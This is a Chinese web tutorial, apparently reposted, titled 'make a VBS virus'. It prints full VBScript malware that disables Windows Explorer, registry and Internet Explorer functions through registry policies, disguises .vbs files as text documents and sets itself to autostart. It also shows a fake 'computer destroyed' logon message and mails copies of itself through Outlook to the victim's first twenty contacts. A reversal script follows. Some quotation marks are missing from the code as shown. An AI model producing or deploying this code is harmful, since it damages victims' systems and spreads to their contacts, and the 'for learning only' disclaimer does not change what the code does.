订阅制作一个VBS病毒
来源：网络收集 点击： 时间：2024-06-01首先创建VBS文档。
2/7右键编辑，进入记事本。
3/7输入如下代码：
On Error Resume Next
Set fs=CreateObject(Scripting.FileSystemObject)
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject(Scripting.FileSystemObject)
dim r
Set r=CreateObject(Wscript.Shell)
r.Regwrite HKLM\Software\classes\vbsfile\defaulticon\,shell32.dll,-152
r.Regwrite HKLM\Software\classes\vbsfile\,文本文档
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun,1,REG_DWORD
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose,1,REG_DWORD
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives,63000000,REG_DWORD
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools,1,REG_DWORD
r.Regwrite HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry,
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff,1,REG_DWORD
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode,1,REG_DWORD
r.Regwrite HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system,Win32system.vbs
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop,1,REG_DWORD
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled,1,REG_DWORD
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar,1,REG_DWORD
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu,1,REG_DWORD
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders,1,REG_DWORD
r.Regwrite HKLM\Software\CLASSES\.reg\,txtfile
r.Regwrite HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption,你好！
r.Regwrite HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText,你的电脑已经毁掉。请立即更新。
Set ol=CreateObject(Outlook.Application)
On Error Resume Next
For x=1 To 20
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace(MAPI).AddressLists(1).AddressEntries(x)
Mail.Subject=你没事吧？
Mail.Body=我给你发了一个邮件，里面有妙方。
Mail.Attachments.Add(dir2Win32system.vbs)
Mail.Send
Next
ol.Quit
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu,1,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions,1,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs,1,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen,1,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced,1,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet,1,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig,1,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage,1,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History,1,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock,1,REG_DWORD
r.Regwrite HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page,https://www.baidu.com/
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab,1,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings,1,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource,1,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoAddingSubScriptions,1,REG_DWORD
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu,1,REG_DWORD
4/7关闭保存。
5/7新建解毒.VBS 。
6/7输入如下代码：
et fs=CreateObject(Scripting.FileSystemObject)
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject(Scripting.FileSystemObject)
dim r
Set r=CreateObject(Wscript.Shell)
r.Regwrite HKLM\Software\classes\vbsfile\defaulticon\,dir1\wscript.exe,2
r.Regwrite HKLM\Software\classes\vbsfile\,VBScript Script file
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun,0,REG_DWORD
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose,0,REG_DWORD
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives,0,REG_DWORD
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools,0,REG_DWORD
r.Regwrite HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry,scanregw.exe /autorun
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff,0,REG_DWORD
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode,0,REG_DWORD
r.Regwrite HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system,
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop,0,REG_DWORD
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled,0,REG_DWORD
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar,0,REG_DWORD
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu,0,REG_DWORD
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders,0,REG_DWORD
r.Regwrite HKLM\Software\CLASSES\.reg\,regfile
r.Regwrite HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption,
r.Regwrite HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText,
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu,0,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions,0,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs,0,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen,0,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced,0,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet,0,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig,0,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage,0,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History,0,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock,0,REG_DWORD
r.Regwrite HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page,about:blank
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab,0,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings,0,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource,0,REG_DWORD
r.Regwrite HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoAddingSubScriptions,0,REG_DWORD
r.Regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu,0,REG_DWORD
7/7保存。
注意事项本VBS作用强大，请谨慎使用！
此病毒只供学习交流使用，切莫用于非法。
转载请说明出处。
版权声明：
1、本文系转载，版权归原作者所有，旨在传递信息，不代表看本站的观点和立场。
2、本站仅提供信息发布平台，不承担相关法律责任。
3、若侵犯您的版权或隐私，请联系本站管理员删除。
4、文章链接：http://www.1haoku.cn/art_867942.html
